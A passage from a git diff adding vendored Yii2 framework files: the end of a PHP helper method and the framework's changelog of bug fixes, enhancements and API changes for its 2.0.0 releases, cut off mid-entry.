Returns the public member variables of an object. + * This method is provided such that we can get the public member variables of an object. + * It is different from "get_object_vars()" because the latter will return private + * and protected variables if it is called within the object itself. + * @param object $object the object to be handled + * @return array the public member variables of the object + */ + public static function getObjectVars($object) + { + return get_object_vars($object); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/CHANGELOG.md b/php/yii2/basic/vendor/yiisoft/yii2/CHANGELOG.md new file mode 100644 index 00000000..30bf5888 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/CHANGELOG.md @@ -0,0 +1,667 @@ +Yii Framework 2 Change Log +========================== + +2.0.0 October 12, 2014 +---------------------- + +- Bug #4881: Fixed `yii\console\controllers\AssetController` breaks CSS URLs on Windows (klimov-paul) +- Bug #5171: Fixed the bug that ActiveForm + Pjax submit event is only triggered once (qiangxue) +- Bug #5242: Fixed `yii\console\controllers\AssetController` breaks CSS URLs in case target file localed at `yii\web\AssetManager::basePath` root (klimov-paul) +- Bug #5252: Null values are not properly handled by `RangeValidator` (githubjeka, qiangxue) +- Bug #5260: `yii\i18n\Formatter::decimalSeparator` and `yii\i18n\Formatter::thousandSeparator` where not configurable when intl is not installed (execut, cebe) +- Bug #5314: Fixed typo in the implementation of `yii\web\Session::getHasSessionId()` (qiangxue) +- Bug #5323: Nested dropdown does not work for `yii\bootstrap\DropDown` (aryraditya) +- Bug #5336: `yii\bootstrap\DropDown` should register bootstrap plugin asset (zelenin) +- Bug #5379: `Module::afterAction()` was called even when `beforeAction()` returned false (cebe) +- Bug #5408: Gii console command incorrectly reports errors when there is actually no error (qiangxue) +- Bug #5423: `yii\behaviors\Cors` causes "undefined index" error when its `cors` is configured (qiangxue) +- Bug #5424: `Html::addCssStyle()` wasn't correctly setting style passed in array (kartik-v, samdark) +- Bug #5435: Added extra checks to `yii\rbac\DbManager` to prevent database exceptions when `$userId` is empty (samdark) +- Bug #5484: Fixed potential string suffix detection failure on 5.5.11 (qiangxue) +- Bug: Date and time formatting now assumes UTC as the timezone for input dates unless a timezone is explicitly given (cebe) +- Enh #4040: Added `$viewFile` and `$params` to the `EVENT_BEFORE_RENDER` and `EVENT_AFTER_RENDER` events for `View` (qiangxue) +- Enh #4275: Added `removeChildren()` to `yii\rbac\ManagerInterface` and implementations (samdark) +- Enh: Added `yii\base\Application::loadedModules` (qiangxue) +- Enh #5316: Added `startsWith()` and `endsWith()` to `yii\helpers\StringHelper`. Methods are binary-safe, multibyte-safe and optionally case-insensitive (armab) +- Enh #5467: Added ability to pass HTML tag options to `asEmail()`, `asImage()` and `asUrl()` methods of `yii\i18n\Formatter` (alxkolm, samdark) +- Chg #2037: Dropped the support for using `yii\base\Module` as concrete module classes (qiangxue) +- Chg: Updated cebe/markdown to 1.0.0 which includes breaking changes in its internal API (cebe) +- Chg: If you are using CUBRID DBMS, make sure to use at least version 9.3.0 because quoting is broken in prior versions and Yii has no reliable way to work around this issue (cebe) + + +2.0.0-rc September 27, 2014 +--------------------------- + +- Bug #1263: Fixed the issue that Gii and Debug modules might be affected by incompatible asset manager configuration (qiangxue) +- Bug #2314: Gii model generator does not generate correct relation type in some special case (qiangxue) +- Bug #2563: Theming is not working if the path map of the theme contains ".." or "." in the paths (qiangxue) +- Bug #2801: Fixed the issue that GridView gets footer content before data cells content (ElisDN) +- Bug #2821: Console help command incorrectly lists non-console controllers as available commands (qiangxue) +- Bug #2853: ActiveRecord did not handle resource-typed columns well (chris68, qiangxue) +- Bug #3042: `yii\widgets\Pjax` should end application right after it finishes responding to a pjax request (qiangxue) +- Bug #3066: `yii\db\mssql\Schema::getTableSchema()` should return null when the table does not exist (qiangxue) +- Bug #3091: Fixed inconsistent treatment of `Widget::run()` when a widget is used as a container and as a self-contained object (qiangxue) +- Bug #3118: Ensure client validation has the same behavior as server side validation for number validator (cebe) +- Bug #3121: `yii\base\Application::bootstrap` may fail to load some components if they are specified as class names (qiangxue) +- Bug #3125: `yii\console\controllers\AssetController` now respects data URL resources (klimov-paul) +- Bug #3128: Fixed the bug that `defaultRoles` set in RBAC manager was not working as specified (qiangxue) +- Bug #3153: Fixed the bug that using "between" operator to build a SQL query will cause a PHP notice (gonimar) +- Bug #3184: Fixed the bug that client validation for string length comparison did not set error message correctly (Sergeygithub) +- Bug #3194: Date formatter works only for timestamps in the year range 1970 to 2038 (kartik-v) +- Bug #3197: Using `ActiveQuery::indexBy()` may cause relational AR queries to generate incorrect relational results (qiangxue) +- Bug #3204: `yii\di\Container` did not handle the `$config` parameter well in case when it does not have a default value (qiangxue) +- Bug #3216: Fixed the bug that `yii.activeForm.destroy()` did not remove `submit` event handlers (qiangxue) +- Bug #3233: Ensure consistent behavior in ActiveRecord::afterSave() (cebe, qiangxue) +- Bug #3236: Return value for DateTime->format('U') casted to double to allow correct date formatting (pgaultier) +- Bug #3268: Fixed the bug that the schema name in a table name was not respected by `yii\db\mysql\Schema` (terazoid, qiangxue) +- Bug #3311: Fixed the bug that `yii\di\Container::has()` did not return correct value (mgrechanik, qiangxue) +- Bug #3327: Fixed "Unable to find debug data" when logging objects with circular references (jarekkozak, samdark) +- Bug #3368: Fix for comparing numeric attributes in JavaScript (technixp) +- Bug #3393: Fix `yii\helpers\FileHelper::copyDirectory()` pattern not working (klimov-paul) +- Bug #3431: Allow using extended ErrorHandler class from the app namespace (cebe) +- Bug #3436: Fixed the issue that `ServiceLocator` still returns the old component after calling `set()` with a new definition (qiangxue) +- Bug #3458: Fixed the bug that the image rendered by `CaptchaAction` was using a wrong content type (MDMunir, qiangxue) +- Bug #3473: Allow postgreSQL to specify timestamp precision via abstract types in QueryBuilder (cebe) +- Bug #3478: Fixed yii\console\Controller::select accept empty input as '0' value (lynicidn) +- Bug #3522: Fixed BaseFileHelper::normalizePath to allow a (.) for the current path. (skotos) +- Bug #3548: Fixed the bug that X-Rate-Limit-Remaining header is always zero when using RateLimiter (qiangxue) +- Bug #3559: Use native support for batchInsert in SQLite versions >= 3.7.11 and avoid limitations of the fallback (cebe) +- Bug #3564: Fixed the bug that primary key columns should not take default values from schema (qiangxue) +- Bug #3567: Fixed the bug that smallint was treated as string for PostgreSQL (qiangxue) +- Bug #3568: When the primary query sets `asArray`, it is not respected by the `via` relational query (qiangxue) +- Bug #3578: Fixed postgreSQL column type detection, added missing types (MDMunir, cebe) +- Bug #3583: Added typecast to auto value of primary key on insert of sql active record (cebe) +- Bug #3591: Fixed incomplete obsolete filling in i18n `MessageController::saveMessagesToDb()` (advsm) +- Bug #3601: Fixed the bug that the refresh URL was not generated correctly by `Captcha` (qiangxue, klevron) +- Bug #3638: `yii\filters\HttpCache` does not work as expected when session is started before the filter (qiangxue) +- Bug #3681: Fixed problem with AR::findOne() when a default scope joins another table so that PK name becomes ambigous (cebe) +- Bug #3715: Fixed the bug that using a custom pager/sorter with `GridView` may generate two different pagers/sorters if the layout configures two pagers/sorters (qiangxue) +- Bug #3716: `DynamicModel::validateData()` does not call `validate()` if the `$rules` parameter is empty (qiangxue) +- Bug #3725: Fixed the bug that the filtering condition used in relation definition was ignored when calling `ActiveRecord::unlinkAll()`. (qiangxue, cebe) +- Bug #3738: ActiveField custom error selector not functioning (qiangxue) +- Bug #3751: Fixed postgreSQL schema data for enum values, do not add values if there are none (makroxyz) +- Bug #3752: `QueryBuilder::batchInsert()` does not typecast input values (qiangxue) +- Bug #3756: Fix number formatting error for `\yii\base\Formatter` by converting strings to float (kartik-v) +- Bug #3772: Behaviors adding validation rules do not work as expected (qiangxue) +- Bug #3817: `yii\rbac\PhpManager::getChildren()` returns null instead of expected empty array (qiangxue) +- Bug #3843: Fixed Menu bug when using `template` with `encodeLabel` => false (creocoder, umneeq) +- Bug #3863: Fixed incorrect js selector for `\yii\widgets\ActiveForm::errorSummaryCssClass` when it contains multiple classes (creocoder, umneeq) +- Bug #3893: Headers did not overwrite default setting by webserver (cebe) +- Bug #3909: `Html::to()` should not prefix base URL to URLs that already contain scheme (qiangxue) +- Bug #3920: Fixed issue with loading default values of PostgreSQL boolean columns (cebe) +- Bug #3934: yii.handleAction() in yii.js does not correctly detect if a hyperlink contains useful URL or not (joni-jones, qiangxue) +- Bug #3968: Messages logged in shutdown functions are not handled (qiangxue) +- Bug #3989: Fixed yii\log\FileTarget::$rotateByCopy to avoid any rename (cebe) +- Bug #3996: Traversing `Yii::$app->session` may cause a PHP error (qiangxue) +- Bug #4020: OCI column detection did not work so gii and other things failed (Sanya1991) +- Bug #4105: Html::dropDownlist options encodeSpaces was not applied to subgroups (MDMunir) +- Bug #4123: Trace level in logger had no effect in Targets, traces where not logged (cebe) +- Bug #4127: `CaptchaValidator` clientside error message wasn't formed properly (samdark) +- Bug #4162: Fixed bug where schema name was not used in ’SHOW CREATE TABLE’ query in `yii\db\mysql\Schema` (stevekr) +- Bug #4241: `yii\widgets\Pjax` was incorrectly setting container id (mitalcoi) +- Bug #4254: `SqlDataProvider` does not work with Oracle and SQL Server (qiangxue, miramir) +- Bug #4276: Added check for UPLOAD_ERR_NO_FILE in `yii\web\UploadedFile` and return null if no file was uploaded (OmgDef) +- Bug #4342: mssql (dblib) driver does not support getting attributes (tof06) +- Bug #4371: Active form client validation wasn't working in case of two models having same named fields (abrahamy) +- Bug #4409: Upper case letters in subdirectory prefixes of controller IDs were not properly handled (qiangxue) +- Bug #4412: Formatter used SI Prefixes for base 1024, now uses binary prefixes (kmindi) +- Bug #4427: Formatter could do one division too much (kmindi) +- Bug #4453: `yii message/extract` wasn't properly writing to po files in case of multiple categories (samdark) +- Bug #4469: Make `Security::compareString()` timing depend only on length of `$actual` input and add unit test. (tom--) +- Bug #4470: Avoid endless loop when exporting logs with low values of flushInterval and eportInterval (cebe) +- Bug #4497: Fixed StringHelper::byteSubstr() returning empty string on null $length param (mbman) +- Bug #4514: Fixed Request class crashing when empty CSRF token value is sent in cookie (cebe) +- Bug #4519: `yii\base\Model::isAttributeRequired()` should check if the `when` option of the validator is set (thiagotalma) +- Bug #4592: Fixed `yii help` command was listing incorrect action names for methods like `actionSayNO` (samdark) +- Bug #4654: Fixed issue with PostgreSQL and inserting boolean values with batch insert (cebe) +- Bug #4672: Fixed issue with PostgreSQL handling of boolean values in queries, dropped support for using boolean value for integer columns (cebe) +- Bug #4727: Fixed wrong Stylus definition in `\yii\web\AssetConverter` (samdark) +- Bug #4755: `yii\test\BaseActiveFixture::unload()` does not clean up the internal cached data (qiangxue) +- Bug #4813: Fixed MSSQL schema that was getting incorrect info about constraints (samdark, SerjRamone, o-rey) +- Bug #4880: Return value of yii\web\Request::getPrefferedLanguage() was a normalized value instead of a valid language value from the input array (cebe) +- Bug #4905: ActiveForm::$validationDelay doesn't delay after keyrelease when $validateOnType=true (qiangxue) +- Bug #4920: `yii\filters\auth\CompositeAuth` should not trigger error as long as one of the methods succeeds (qiangxue) +- Bug #4926: Fixed `yii\console\controllers\MessageController` handles category name containing dot incorrectly (klimov-paul) +- Bug #4938: When `yii\db\ActiveQuery` is used to build sub-queries, its WHERE clause is not correctly generated (qiangxue) +- Bug #4954: MSSQL column comments are not retrieved correctly (SerjRamone) +- Bug #4970: `joinWith()` called by a relation was ignored by `yii\db\ActiveQuery` (stepanselyuk) +- Bug #5001: `yii\rest\CreateAction`, `yii\rest\UpdateAction` and `yii\rest\DeleteAction` should throw 500 error if the model operation returns false without validation errors (qiangxue) +- Bug #5039: `UniqueValidator` and `ExistValidator` did not respect query conditions added by default scope (qiangxue) +- Bug #5049: `ActiveForm::validationDelay` should be applied to user types only (qiangxue) +- Bug #5055: Fixed `yii\console\controllers\CacheController` does not check if cache component instance of 'yii\caching\Cache' (klimov-paul) +- Bug #5126: Fixed text body and charset not being set for multipart mail (nkovacs) +- Bug: Fixed inconsistent return of `\yii\console\Application::runAction()` (samdark) +- Bug: URL encoding for the route parameter added to `\yii\web\UrlManager` (klimov-paul) +- Bug: Fixed the bug that requesting protected or private action methods would cause 500 error instead of 404 (qiangxue) +- Bug: Fixed Object of class Imagick could not be converted to string in CaptchaAction (eXprojects, cebe) +- Bug: Fixed wrong behavior of `StringHelper::byteSubstr()` in some edge cases (cebe) +- Enh #87: Helper `yii\helpers\Security` converted into application component, cryptographic strength improved (klimov-paul) +- Enh #422: Added Support for BIT(M) data type default values in Schema (cebe) +- Enh #1160: Added $strict parameter to Inflector::camel2id() to handle consecutive uppercase chars (schmunk) +- Enh #1249: Added support for Active Record relation via array attributes (klimov-paul, cebe) +- Enh #1388: Added mapping from physical types to abstract types for OCI DB driver (qiangxue) +- Enh #1452: Added `Module::getInstance()` to allow accessing the module instance from anywhere within the module (qiangxue) +- Enh #2264: `CookieCollection::has()` will return false for expired or removed cookies (qiangxue) +- Enh #2315: Any operator now could be used with `yii\db\Query::->where()` operand format (samdark) +- Ehn #2380: Added `yii\widgets\ActiveForm::enableClientScript` to support turning on and off client side script generation (qiangxue) +- Enh #2435: `yii\db\IntegrityException` is now thrown on database integrity errors instead of general `yii\db\Exception` (samdark) +- Enh #2558: Enhanced support for memcached by adding `yii\caching\MemCache::persistentId` and `yii\caching\MemCache::options` (qiangxue) +- Enh #2837: Error page now shows arguments in stack trace method calls (samdark) +- Enh #2906: Added support for using conditional comments for js and css files registered through asset bundles and Html helper (exromany, qiangxue) +- Enh #2942: Added truncate and truncateWord methods (Alex-Code, samdark) +- Enh #3008: Added `Html::errorSummary()` (qiangxue) +- Enh #3088: The debug and gii modules will manage their own URL rules now (hiltonjanfield, qiangxue) +- Enh #3101: Improved handling of log target failures. It will now skip target and log reason instead of going into infinite cycle (samdark) +- Enh #3103: debugger panel is now not displayed when printing a page (githubjeka) +- Enh #3108: Added `yii\debug\Module::enableDebugLogs` to disable logging debug logs by default (qiangxue) +- Enh #3132: `yii\rbac\PhpManager` now supports more compact data file format (qiangxue) +- Enh #3154: Added validation error display for `GridView` filters (ivan-kolmychek) +- Enh #3177: `yii\filters\auth\CompositeAuth` will send out challenges from all auth methods (qiangxue) +- Enh #3196: Masked input upgraded to use jquery.inputmask plugin with more features. (kartik-v) +- Enh #3220: Added support for setting transaction isolation levels (cebe) +- Enh #3221: Added events for DB transaction commit/rollback (drcypher, qiangxue) +- Enh #3222: Added `useTablePrefix` option to the model generator for Gii (horizons2) +- Enh #3230: Added `yii\filters\AccessControl::user` to support access control with different actors (qiangxue) +- Enh #3232: Added `export()` and `exportAsString()` methods to `yii\helpers\BaseVarDumper` (klimov-paul) +- Enh #3240: Added support for assigning an anonymous function to `yii\widgets\ActiveForm::fieldConfig` (qiangxue) +- Enh #3244: Allow logging complex data such as arrays and object via the log system (cebe) +- Enh #3252: Added support for case insensitive matching using ILIKE to PostgreSQL QueryBuilder (cebe) +- Enh #3280: Support dynamically attaching anonymous behaviors (qiangxue) +- Enh #3283: Added `$checkAjax` to `yii\web\User::loginRequired()` (qiangxue) +- Enh #3284: Added support for checking multiple ETags by `yii\filters\HttpCache` (qiangxue) +- Enh #3298: Supported configuring `View::theme` using a class name (netyum, qiangxue) +- Enh #3328: `BaseMailer` generates better text body from html body (armab) +- Enh #3380: Allow `value` in `defaultValueValidator` to be a closure (Alex-Code) +- Enh #3384: Added callback-style transactions (leandrogehlen, Ragazzo, samdark) +- Enh #3399, #3241: Added support for MS SQL Server older than 2012 (fourteenmeister, samdark) +- Enh #3410: yii.activeForm.js now supports adding/removing fields dynamically (qiangxue) +- Enh #3459: Added logging of errors, which may occur at `yii\caching\FileCache::gc()` (klimov-paul) +- Enh #3472: Added configurable option to encode spaces in dropDownLists and listBoxes (kartik-v) +- Enh #3518: `yii\helpers\Html::encode()` now replaces invalid code sequences with "�" (DaSourcerer) +- Enh #3520: Added `unlinkAll()`-method to active record to remove all records of a model relation (NmDimas, samdark, cebe) +- Enh #3521: Added `yii\filters\HttpCache::sessionCacheLimiter` (qiangxue) +- Enh #3542: Removed requirement to specify `extensions` in application config (samdark) +- Enh #3562: Adding rotateByCopy to yii\log\FileTarget (pawzar) +- Enh #3574: Add integrity check support for SQLite (zeeke) +- Enh #3581: Added `yii\validators\CompareValidator::type` to support type conversion before comparing values (qiangxue) +- Enh #3597: Nested array support for HTML5 custom "data-*" attributes (armab) +- Enh #3607: Added support for limit in migrations actions: history, new, redo (Ragazzo) +- Enh #3631: Added property `currencyCode` to `yii\i18n\Formatter` (leandrogehlen) +- Enh #3636: Hide menu container tag with empty items in `yii\widgets\Menu` (arturf) +- Enh #3643: Improved Mime-Type detection by using the `mime.types` file from apache http project to dected mime types by file extension (cebe, pavel-voronin, trejder) +- Enh #3765: Added `yii\web\User::enableSession` to support authentication without using session (qiangxue) +- Enh #3708: Added database replication and automatic read-write splitting support for `yii\db\Connection` (qiangxue) +- Enh #3773: Added `FileValidator::mimeTypes` to support validating MIME types of files (Ragazzo) +- Enh #3774: Added `FileValidator::checkExtensionByMimeType` to support validating file types against file mime-types (Ragazzo) +- Enh #3801: Base migration controller `yii\console\controllers\BaseMigrateController` extracted (klimov-paul) +- Enh #3811: Now Gii model generator makes autocomplete for model class field (mitalcoi) +- Enh #3926: `yii\widgets\Breadcrumbs::$links`. Allows individual link to have its own `template` (creocoder, umneeq) +- Enh #3939: `\yii\Inflector::slug()` improvements (samdark) + - Added protected `\yii\Inflector::transliterate()` that could be replaced with custom translit implementation. + - Added proper tests for both intl-based slug and PHP fallback. + - Removed character maps for non-latin languages. + - Improved overall slug results. + - Added note about the fact that intl is required for non-latin languages to requirements checker. +- Enh #3957: Added more straightforward configurable properties to `BlameableBehavior`, `SluggableBehavior` and `TimestampBehavior` (creocoder) +- Enh #3992: In mail layouts you can now access the message object via `$message` variable (qiangxue) +- Enh #4028: Added ability to `yii\widgets\Menu` to encode each item's label separately (creocoder, umneeq) +- Enh #4048: Added `init` event to `ActiveQuery` classes (qiangxue) +- Enh #4072: `\yii\rbac\PhpManager` adjustments (samdark) + - Data is now stored in three separate files for items, assignments and rules. File format is simpler. + - Removed `authFile`. Added `itemFile`, `assignmentFile` and `ruleFile`. + - `createdAt` and `updatedAt` are now properly filled with corresponding file modification time. + - `save()` and `load()` are now protected instead of public. + - Added unit test for saving and loading data. +- Enh #4080: Added proper handling and support of the symlinked directories in `FileHelper`, added $options parameter in `FileHelper::removeDirectory()` (resurtm) +- Enh #4086: changedAttributes of afterSave Event now contain old values (dizews) +- Enh #4114: Added `Security::generateRandomBytes()`, improved tests (samdark) +- Enh #4122: `Html::error()` and `Html::errorSummary()` are now accepting `encode` option. If set to false it prevents encoding of error messages (samdark) +- Enh #4131: Security adjustments (tom--) + - Added HKDF to `yii\base\Security`. + - Reverted auto fallback to PHP PBKDF2. + - Fixed PBKDF2 key truncation. + - Adjusted API. +- Enh #4209: Added `beforeCopy`, `afterCopy`, `forceCopy` properties to AssetManager (cebe) +- Enh #4225: Added `ActiveForm::validateOnBlur` and `ActiveField::validateOnBlur` (qiangxue) +- Enh #4297: Added check for DOM extension to requirements (samdark) +- Enh #4317: Added `absoluteAuthTimeout` to yii\web\User (ivokund, nkovacs) +- Enh #4360: Added client validation support for file validator (Skysplit) +- Enh #4372: `yii\filters\HttpCache` failed to comply to RFC 7232 (DaSourcerer) +- Enh #4424: Added `inline` parameter to `yii\web\Response::xSendFile()` (klimov-paul) +- Enh #4436: Added callback functions to AJAX-based form validation (thiagotalma) +- Enh #4485: Added support for deferred validation in `ActiveForm` (Alex-Code) +- Enh #4520: Added sasl support to `yii\caching\MemCache` (xjflyttp) +- Enh #4566: Added client validation support for image validator (Skysplit, qiangxue) +- Enh #4581: Added ability to disable url encoding in `UrlRule` (tadaszelvys) +- Enh #4602: Added $key param in ActionColumn buttons Closure call (disem) +- Enh #4607: AR model will throw an exception if it does not have a primary key to avoid updating/deleting data massively (qiangxue) +- Enh #4630: Added automatic generating of unique slug value to `yii\behaviors\Sluggable` (klimov-paul) +- Enh #4636: Added `yii\web\Response::setDownloadHeaders()` (pawzar) +- Enh #4644: Added `yii\db\Schema::createColumnSchema()` to be able to customize column schema used (mcd-php) +- Enh #4656: HtmlPurifier helper config can now be a closure to change the purifier config object after it was created (Alex-Code) +- Enh #4062: Added 'caseSensitive' option to `yii\helpers\BaseFileHelper::findFiles()` (klimov-paul) +- Enh #4691: Encoding on `ActiveForm` and `ActiveField` validation errors is now configurable (Alex-Code) +- Enh #4740: Added `yii\web\Session::addFlash()` (restyler) +- Enh #4897: Added `yii\helpers\FileHelper::mimeMagicFile` (qiangxue) +- Enh #5058: Added `$pageSize` parameter to `Pagination::createUrl()` to allow creating URLs with arbitrary page sizes (cdcchen, qiangxue) +- Enh #5089: Added asset debugger panel (arturf, qiangxue) +- Enh #5117: Added `beforeFilter` and `afterFilter` JS events to `GridView` (kartik-v) +- Enh #5124: Added support to prevent duplicated form submission when using `ActiveForm` (qiangxue) +- Enh #5131: Added `$autoRenew` parameter to `yii\web\User::getIdentity()` (qiangxue) +- Enh #5164: Added `Inlfector::$transliterator` that can be used to customize intl transliteration (zinzinday) +- Enh: Added support for using sub-queries when building a DB query with `IN` condition (qiangxue) +- Enh: Supported adding a new response formatter without the need to reconfigure existing formatters (qiangxue) +- Enh: Added `yii\web\UrlManager::addRules()` to simplify adding new URL rules (qiangxue) +- Enh: Added support to insert an event handler at the beginning of class-level event handler queue (qiangxue) +- Enh: Added `yii\console\Controller::EXIT_CODE_NORMAL` and `yii\console\Controller::EXIT_CODE_ERROR` constants (samdark) +- Enh: `yii\console\MigrateController` now returns `yii\console\Controller::EXIT_CODE_ERROR` in case of failed migration (samdark) +- Enh: Added method ErrorHandler::unregister() for unregistering the ErrorHandler (cebe) +- Enh: Added `all` option to `MigrateController::actionDown()` action (creocoder, umneeq) +- Enh: Added support for array attributes in `exist` validator (creocoder) +- Enh: Added support for using path alias with `FileDependency::fileName` (qiangxue) +- Enh: Added param `hideOnSinglePage` to `yii\widgets\LinkPager` (arturf) +- Enh: Added support for array attributes in `in` validator (creocoder) +- Enh: Improved `yii\helpers\Inflector::slug` to support more cases for Russian, Hebrew and special characters (samdark) +- Enh: ListView now uses the widget ID in the base tag, consistent to gridview (cebe) +- Enh: Added `yii\web\Response::enableCsrfCookie` to support storing CSRF tokens in session (qiangxue) +- Chg #2287: Split `yii\db\ColumnSchema::typecast()` into two methods `phpTypecast()` and `dbTypecast()` to allow specifying PDO type explicitly (cebe) +- Chg #2359: Refactored formatter class. One class with or without intl extension and PHP format pattern as standard (Erik_r, cebe) + - `yii\base\Formatter` functionality has been merged into `yii\i18n\Formatter` + - removed the `yii\base\Formatter` class +- Chg #1551: Refactored DateValidator to support ICU date format and use the format defined in Formatter by default (cebe) +- Chg #2898: `yii\console\controllers\AssetController` is now using hashes instead of timestamps (samdark) +- Chg #2913: RBAC `DbManager` is now initialized via migration (samdark) +- Chg #2914: `ActiveForm::fieldConfig` will be merged recursively with the `$options` parameter in `ActiveForm::field()` (qiangxue) +- Chg #3036: Upgraded Twitter Bootstrap to 3.1.x (qiangxue) +- Chg #3175: InvalidCallException, InvalidParamException, UnknownMethodException are now extended from SPL BadMethodCallException (samdark) +- Chg #3358: Removed automatic CSRF meta tag generation by `View`. Added `Html::csrfMetaTags()` and its call to main layout files (qiangxue) +- Chg #3383: Added `$type` parameter to `IdentityInterface::findIdentityByAccessToken()` (qiangxue) +- Chg #3511: Dropped `yii.allowAction()` and modified `yii.confirm()` in `yii.js` to support callbacks (tanakahisateru) +- Chg #3531: \yii\grid\GridView now allows any character (except ":") in the attribute part of the shorthand syntax for columns (rawtaz) +- Chg #3544: Added `$key` as a parameter to the callable specified via `yii\grid\DataColumn::value` (mdmunir) +- Chg #3611: Query caching is refactored. (qiangxue) + - `yii\db\Connection::beginCache()` and `endCache()` are removed. + - Added `yii\db\Connection::cache()` and `noCache()`. + - Added `Command::cache()` and `noCache()`. + - `yii\db\Connection::queryCacheDuration` is now used as a default cache duration parameter. +- Chg #3640: All cookies are now httpOnly by default in order to increase overall security (samdark) +- Chg #3687: Default `sourceLanguage` and `language` are now `en-US` in order for i18n formatter to work correctly (samdark) +- Chg #3804: Added `fileinfo` PHP extension to the basic requirement of Yii (Ragazzo) +- Chg #3866: The `FileValidator::types` property is renamed to `FileValidator::extensions` (Ragazzo) +- Chg #3897: Raised visibility of `yii\web\View::registerAssetFiles()` to protected (samdark) +- Chg #3899: Moved `MailEvent` class to `yii\mail` namespace (cebe) +- Chg #3910: Removed the `container` option from `Html::checkbox()` and `Html::radio()` (creocoder) +- Chg #3956: Flash messages set via `Yii::$app->session->setFlash()` will be removed only if they are accessed (qiangxue) +- Chg #3989: The default value for `yii\log\FileTarget::$rotateByCopy` now defaults to true to work on windows by default (cebe) +- Chg #4051: Renamed `yii\caching\GroupDependency` to `TagDependency` and added support for associating multiple tags to a single cached data item (qiangxue) +- Chg #4071: `mail` component renamed to `mailer`, `yii\log\EmailTarget::$mail` renamed to `yii\log\EmailTarget::$mailer` (samdark) +- Chg #4147: `BaseMailer::compose()` will not overwrite the `message` parameter if it is explicitly provided (qiangxue) +- Chg #4188: API exceptions are now exposing less data when YII_DEBUG is false (samdark) +- Chg #4201: change default value of `SyslogTarget::facility` from `LOG_SYSLOG` to `LOG_USER` (dizews) +- Chg #4211: BaseActiveRecord::populateRecord now silently hide selected columns that are not defined in AR instead of failing with an error (miramir) +- Chg #4227: `\yii\widgets\LinkPager::$hideOnSinglePage` is now `true` by default (samdark) +- Chg #4310: Removed `$data` from signature of `yii\rbac\ManagerInterface` (samdark) +- Chg #4318: `yii\helpers\Html::ul()` and `ol()` will return an empty list tag if an empty item array is given (qiangxue) +- Chg #4331: `yii\helpers\Url` now uses `UrlManager` to determine base URL when generating URLs (qiangxue) +- Chg #4424: Added `inline` and `mimeType` options to all file downloading methods provided in `yii\web\Response` (qiangxue) +- Chg #4454: Improved asset bundle managed and used composer-asset-plugin to manage the dependencies on 3rd-party JS libraries (qiangxue) +- Chg #4501: Renamed the constant `YII_PATH` to `YII2_PATH` (qiangxue) +- Chg #4586: Signed bigint and unsigned int will be converted into integers when they are loaded from DB by AR (qiangxue) +- Chg #4591: `yii\helpers\Url::to()` will no longer prefix relative URLs with the base URL (qiangxue) +- Chg #4595: `yii\widgets\LinkPager`'s `nextPageLabel`, `prevPageLabel`, `firstPageLabel`, `lastPageLabel` are now taking `false` instead of `null` for "no label" (samdark) +- Chg #4911: Changed callback signature used in `yii\base\ArrayableTrait::fields()` from `function ($field, $model) {` to `function ($model, $field) {` (samdark) +- Chg #4955: Replaced callbacks with events for `ActiveForm` (qiangxue) + - Removed `beforeValidate()`, `beforeValidateAll()`, `afterValidate()`, `afterValidateAll()`, `ajaxBeforeSend()` and `ajaxComplete()` from `ActiveForm`. + - Added `beforeValidate`, `afterValidate`, `beforeValidateAttribute`, `afterValidateAttribute`, `beforeSubmit`, `ajaxBeforeSend` and `ajaxComplete` events to `yii.activeForm` jQuery plugin. +- Chg #5176: `ActiveFixture` will reset table in its `load()` method instead of `unload()` (qiangxue) +- Chg: Replaced `clearAll()` and `clearAllAssignments()` in `yii\rbac\ManagerInterface` with `removeAll()`, `removeAllRoles()`, `removeAllPermissions()`, `removeAllRules()` and `removeAllAssignments()` (qiangxue) +- Chg: Added `$user` as the first parameter of `yii\rbac\Rule::execute()` (qiangxue) +- Chg: `yii\grid\DataColumn::getDataCellValue()` visibility is now `public` to allow accessing the value from a GridView directly (cebe) +- Chg: `yii\data\ActiveDataProvider::$query` will not be modified directly with pagination and sorting anymore so it will be reuseable (cebe) +- Chg: Removed `yii\rest\ActiveController::$transactional` property and connected functionality (samdark) +- Chg: Changed the default value of the `keyPrefix` property of cache components to be null (qiangxue) +- Chg: Added `prefix` column to `yii\log\DbTarget` to have the same amount of information logged as in files and emails (cebe) +- Chg: Use `limit(null)` instead of `limit(-1)` in migration controller to be compatible to more backends (cebe) +- Chg: `yii\web\Request::cookieValidationKey` must be explicitly specified for each application that wants to use cookie validation (qiangxue) +- Chg: Added `yii\composer\Installer::postCreateProject()` and modified the syntax of calling installer methods in composer.json (qiangxue) +- Chg: When an ID is found to be in both `Application::controllerMap` and `Application::modules`, the former will take precedence (qiangxue) +- Chg: `yii\helpers\Html::activeCheckbox()` and `activeRadio()` will generate labels by default using the corresponding attribute labels (qiangxue) +- New #1280: Gii can now be run from command line (schmunk42, cebe, qiangxue) +- New #3911: Added `yii\behaviors\SluggableBehavior` that fills the specified model attribute with the transliterated and adjusted version to use in URLs (creocoder) +- New #4193: Added `yii\filters\Cors` CORS filter to allow Cross Origin Resource Sharing (pgaultier) +- New #4945: Added `yii\test\ArrayFixture` (Ragazzo) +- New: Added `yii\base\InvalidValueException` (qiangxue) +- New: Added `yii\caching\ArrayCache` (cebe) + + +2.0.0-beta April 13, 2014 +------------------------- + +- Bug #1265: AssetController does not override 'js' and 'css' for compressed bundles (klimov-paul) +- Bug #1326: The `visible` setting for `DetailView` doesn't work as expected (qiangxue) +- Bug #1412: `FileValidator` and `ImageValidator` still trigger `uploadRequired` error in some case when `skipOnEmpty` is true and no upload is provided (qiangxue) +- Bug #1446: Logging while logs are processed causes infinite loop (qiangxue) +- Bug #1497: Localized view files are not correctly returned (mintao) +- Bug #1500: Log messages exported to files are not separated by newlines (omnilight, qiangxue) +- Bug #1504: Debug toolbar isn't loaded successfully in some environments when xdebug is enabled (qiangxue) +- Bug #1509: The SQL for creating Postgres RBAC tables is incorrect (qiangxue) +- Bug #1545: It was not possible to execute db Query twice, params where missing (cebe) +- Bug #1550: fixed the issue that JUI input widgets did not property input IDs. +- Bug #1654: Fixed the issue that a new message source object is generated for every new message being translated (qiangxue) +- Bug #1582: Error messages shown via client-side validation should not be double encoded (qiangxue) +- Bug #1591: StringValidator is accessing undefined property (qiangxue) +- Bug #1597: Added `enableAutoLogin` to basic and advanced application templates so "remember me" now works properly (samdark) +- Bug #1631: Charset is now explicitly set to UTF-8 when serving JSON 